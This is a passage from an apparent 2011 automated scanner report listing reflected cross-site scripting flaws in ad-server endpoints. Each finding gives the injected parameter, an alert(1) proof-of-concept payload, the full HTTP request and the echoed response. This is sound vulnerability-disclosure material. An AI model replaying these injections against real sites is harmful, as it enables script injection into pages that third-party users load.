id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:59:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7280
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... TM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215ce398"-alert(1)-"d9ac9bb583e&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptacc ...[SNIP]...
The value of the pubICode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21f50"-alert(1)-"dcb5152624c was submitted in the pubICode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=207674921f50"-alert(1)-"dcb5152624c&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:58:50 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7281
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... Y5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=207674921f50"-alert(1)-"dcb5152624c&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html"); var wmode = "opaque"; var bg = "same as SWF"; var dcall ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3e2e6"-alert(1)-"2470cde73b was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-839613e2e6"-alert(1)-"2470cde73b&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:58:20 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7271
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... AA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-839613e2e6"-alert(1)-"2470cde73b&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html"); var wmode = "o ...[SNIP]...
The value of the url request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8eed4"-alert(1)-"3d107a4253e was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N553.martinimedianet/B4970757.3;sz=728x90;click=http://ad.technoratimedia.com/clk?2,13%3Bbc1ea512b36e66d9%3B12e0ab5bca4,0%3B%3B%3B2343140080,XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAo7y1Ci4BAAAAAAAAADY5YjJkMWZjLTM0NTQtMTFlMC04NjBiLTAwMWIyNDc4NGE2MgAzmSoAAAA=,,http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F8eed4"-alert(1)-"3d107a4253e&redirectURL=;pc=[TPAS_ID];ord=1297259805? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?XL5IAKvfDgD0zXgAAAAAABnVHgAAAAAAAgAAAAYAAAAAAP8AAAAECIhvGwAAAAAATbAfAAAAAADfpSgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.WQgAAAAAAAIAAwAAAAAAjdtoAG.BBkBUMCqpE9AKQGQQWDm0SBlAl24Sg8DKHUDOzMzMzMwZQGZmZmZmZh5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADepf-VloGbCY5JXkJ8yQxUfqcfWMMwttvYibDSAAAAAA==,,http%3A%2F%2Fspeckyboy.com%2F,Z%3D728x90%26atf%3D0%26brw%3Dcr3%26efo%3D0%26os%3Dwn7%26pfm%3D1%26prm%3D0%26rtg%3Dga%26s%3D974763%26tblg%3Dch%26titn%3Dch%26tphv%3Dch%26ttch%3Dch%26uatRandNo%3D50691%26_salt%3D3626026624%26B%3D10%26u%3Dhttp%253A%252F%252Fspeckyboy.com%252F%26r%3D1,69b2d1fc-3454-11e0-860b-001b24784a62 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 09 Feb 2011 13:59:20 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 7280
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... http%3A%2F%2Fspeckyboy.com%2F,$http://t.invitemedia.com/track_click?auctionID=1297259805974763-83961&campID=64090&crID=83961&pubICode=2076749&pub=281215&partnerID=38&url=http%3A%2F%2Fspeckyboy%2Ecom%2F8eed4"-alert(1)-"3d107a4253e&redirectURL=http%3a%2f%2fpersonalsavings.americanexpress.com/savings-product.html"); var wmode = "opaque"; var bg = "same as SWF"; var dcallowscriptaccess = "never";
The value of the click0 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2beb5'-alert(1)-'e161e8ec7a7 was submitted in the click0 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N6457.133080.LOTAME/B4840137;click0=2beb5'-alert(1)-'e161e8ec7a7 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://twittorati.com/?7903e'%3balert(1)//5a7f48cb57e=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 273 Cache-Control: no-cache Pragma: no-cache Date: Wed, 09 Feb 2011 14:10:10 GMT Expires: Wed, 09 Feb 2011 14:10:10 GMT
The value of the click0 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb169'-alert(1)-'a0fee229f25 was submitted in the click0 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N6457.133080.LOTAME/B4840137.2;click0=eb169'-alert(1)-'a0fee229f25 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://twittorati.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 273 Cache-Control: no-cache Pragma: no-cache Date: Wed, 09 Feb 2011 14:08:19 GMT Expires: Wed, 09 Feb 2011 14:08:19 GMT
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb425'%3balert(1)//e1a90e0f65e was submitted in the sz parameter. This input was echoed as bb425';alert(1)//e1a90e0f65e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/cm.appnexus/nikon_ron_cpm;sz=bb425'%3balert(1)//e1a90e0f65e HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=AQAAAAAA4j-amZmZmZnePwAAAADXo_o_mpmZmZmZ3j8AAAAAAADiP9xIJgq8hAUXBWHfHSmrEEI7n1JNAAAAABuRAwA2AQAANwEAAAIAAABJ9wIA5GoAAAEAAABVU0QAVVNEAKAAWAKoAecEDAcAAgUCAAIAAAAARR2NVAAAAAA.&udj=uf%28%27a%27%2C+11322%2C+1297260347%29%3Buf%28%27c%27%2C+49259%2C+1297260347%29%3Buf%28%27r%27%2C+194377%2C+1297260347%29%3B&cnd=!hhQ2PQjrgAMQye4LGAAg5NUBKOcJMQAAAAAAAOI_QhMIABAAGAAgASj-__________8BSABQAFioA2AAaLcC&referrer=http://technorati.com/contact-us/&custom_macro=SEG_CODES_COL%5Ebtg=an.5%3Bbtg=an.51%3Bbtg=cm.de16_1%3Bbtg=cm.de18_1%3Bbtg=cm.ent_h%3Bbtg=cm.polit_h%3Bbtg=cm.shop_h%3Bbtg=cm.sports_h%3Bbtg=cm.sportsfan%3Bbtg=cm.sportsreg Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 295 Cache-Control: no-cache Pragma: no-cache Date: Wed, 09 Feb 2011 14:09:37 GMT Expires: Wed, 09 Feb 2011 14:09:37 GMT
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa9/0/0/%2a/v;44306;0-0;0;59862846;255-0/0;0/0/0;;~okv=;sz=bb425';alert(1)//e1a90e0f65e;~aopt=2/0/ee/0;~sscs=%3f"><img sr ...[SNIP]...
1.19. http://ad.doubleclick.net/adj/cm.appnexus/taxact_ron [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adj/cm.appnexus/taxact_ron
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 848f6'-alert(1)-'c4eace39569 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/cm.appnexus/taxact_ron;sz=300x250;app=taxact_ron;click0=http://ib.adnxs.com/click/hetRuB6F0z8IrBxaZDvPPwAAAMAeheQ_CKwcWmQ7zz-F61G4HoXTP5b8K_pSC9QXBWHfHSmrEEI6n1JNAAAAAGqUAwA2AQAANwEAAAIAAAAmgQIA52oAAAEAAABVU0QAVVNEACwB-gCoAdoEbwQAAQUCAAMAAAAAASH0uQAAAAA./cnd=!ICL11Qi52wIQpoIKGAAg59UBKNoJMYXrUbgehdM_QhMIABAAGAAgASj-__________8BQg0I4D4QhscEGAEgAygCQgsI4D4QABgAIAIoAkINCOE-EPK3TRgTIAMoAkILCOE-EAAYACACKAJIAFAAWKgDYABotwI./referrer=http%3A%2F%2Fblogcritics.org%2F/clickenc=;ord=1297260346?&848f6'-alert(1)-'c4eace39569=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=hetRuB6F0z8IrBxaZDvPPwAAAMAeheQ_CKwcWmQ7zz-F61G4HoXTP5b8K_pSC9QXBWHfHSmrEEI6n1JNAAAAAGqUAwA2AQAANwEAAAIAAAAmgQIA52oAAAEAAABVU0QAVVNEACwB-gCoAdoEbwQAAgUCAAMAAAAAAiEFugAAAAA.&udj=uf%28%27a%27%2C+6877%2C+1297260346%29%3Buf%28%27c%27%2C+44473%2C+1297260346%29%3Buf%28%27r%27%2C+164134%2C+1297260346%29%3Bppv%288032%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3Bppv%288033%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3B&cnd=!ICL11Qi52wIQpoIKGAAg59UBKNoJMYXrUbgehdM_QhMIABAAGAAgASj-__________8BQg0I4D4QhscEGAEgAygCQgsI4D4QABgAIAIoAkINCOE-EPK3TRgTIAMoAkILCOE-EAAYACACKAJIAFAAWKgDYABotwI.&referrer=http://blogcritics.org/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 09 Feb 2011 14:09:22 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 1251
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fc312'%3balert(1)//b6400693fbc was submitted in the sz parameter. This input was echoed as fc312';alert(1)//b6400693fbc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/cm.appnexus/taxact_ron;sz=fc312'%3balert(1)//b6400693fbc HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://ib.adnxs.com/if?enc=hetRuB6F0z8IrBxaZDvPPwAAAMAeheQ_CKwcWmQ7zz-F61G4HoXTP5b8K_pSC9QXBWHfHSmrEEI6n1JNAAAAAGqUAwA2AQAANwEAAAIAAAAmgQIA52oAAAEAAABVU0QAVVNEACwB-gCoAdoEbwQAAgUCAAMAAAAAAiEFugAAAAA.&udj=uf%28%27a%27%2C+6877%2C+1297260346%29%3Buf%28%27c%27%2C+44473%2C+1297260346%29%3Buf%28%27r%27%2C+164134%2C+1297260346%29%3Bppv%288032%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3Bppv%288033%2C+%271717009808947412118%27%2C+1297260346%2C+1297692346%2C+44473%2C+27367%29%3B&cnd=!ICL11Qi52wIQpoIKGAAg59UBKNoJMYXrUbgehdM_QhMIABAAGAAgASj-__________8BQg0I4D4QhscEGAEgAygCQgsI4D4QABgAIAIoAkINCOE-EPK3TRgTIAMoAkILCOE-EAAYACACKAJIAFAAWKgDYABotwI.&referrer=http://blogcritics.org/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 295 Cache-Control: no-cache Pragma: no-cache Date: Wed, 09 Feb 2011 14:09:18 GMT Expires: Wed, 09 Feb 2011 14:09:18 GMT
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa9/0/0/%2a/x;44306;0-0;0;58796878;255-0/0;0/0/0;;~okv=;sz=fc312';alert(1)//b6400693fbc;~aopt=2/0/ee/0;~sscs=%3f"><img sr ...[SNIP]...
The value of the adType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 467de"><script>alert(1)</script>0330d190362 was submitted in the adType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adserv/cs?adType=iframe|is_preview=0|cId=4814|ec=1|spId=19013|advId=651|tpCId=153250|exId=9|price=0.200000|vurlId=424|srcUrlEnc=http://technorati.com/contact-us/?bd8fa%22%3E%3Cscript%3Ealert(1)%3C/script%3E09ae0dbaead=1|notifyServer=asd132.sd.pl.pvt|notifyPort=8080|bid=0.20000000298023224|tId=6210453202168737|pubId=51|invId=117|secId=56|tpSecId=233753|foo=bar|cb=1297260612|ctrack=http://ib.adnxs.com/click/AQAAoJmZyT-amZlhj8LFPwAAAKCZmfE_mpmZYY_CxT8AAACgmZnJP8giKVhwODcdBWHfHSmrEEJEoFJNAAAAABmRAwA2AQAAfAAAABkAAACiVgIA5GoAAAEAAABVU0QAVVNEACwB-gCoAecEoQMAAgUCAAIAAAAAMiEewAAAAAA./cnd=%257B%255C%2522m6ClientId%255C%2522:835342505348660275,%255C%2522transactionId%255C%2522:6210453202168737,%255C%2522marketerId%255C%2522:651,%255C%2522campaignId%255C%2522:3231,%255C%2522spendId%255C%2522:19013,%255C%2522spendWeight%255C%2522:200,%255C%2522creativeId%255C%2522:4814,%255C%2522spendCreativeId%255C%2522:158392,%255C%2522adProfileId%255C%2522:289%257D/referrer=http%253A%252F%252Ftechnorati.com%252Fcontact-us%252F%253Fbd8fa%252522%25253E%25253Cscript%25253Ealert%25281%2529%25253C%252Fscript%25253E09ae0dbaead%253D1/clickenc=467de"><script>alert(1)</script>0330d190362 HTTP/1.1 Host: ad.media6degrees.com Proxy-Connection: keep-alive Referer: http://technorati.com/contact-us/?bd8fa%22%3E%3Cscript%3Ealert(1)%3C/script%3E09ae0dbaead=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; 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